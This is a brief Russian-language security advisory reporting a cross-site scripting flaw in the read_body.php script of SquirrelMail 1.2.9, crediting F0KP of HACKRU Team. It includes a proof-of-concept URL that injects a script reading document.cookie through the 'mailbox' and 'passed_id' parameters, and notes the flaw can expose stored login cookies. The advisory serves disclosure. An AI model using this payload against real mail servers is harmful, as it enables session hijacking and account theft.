SquirrelMail - webmail программа для Linux и Unix систем.
Сценарий read_body.php не в состоянии отфильтровать код сценария в параметрах `mailbox' и `passed_id'. Уязвимость может использоваться для перехвата опознавательной информации, хранящейся в куки.
http://hostname/src/read_body.php?mailbox= %3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&passed_id=
%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E& startMessage=1&show_more=0
Уязвимость обнаружена SquirrelMail 1.2.9
Уязвимость обнаружил F0KP из HACKRU Team (f0kp.iplus.ru).
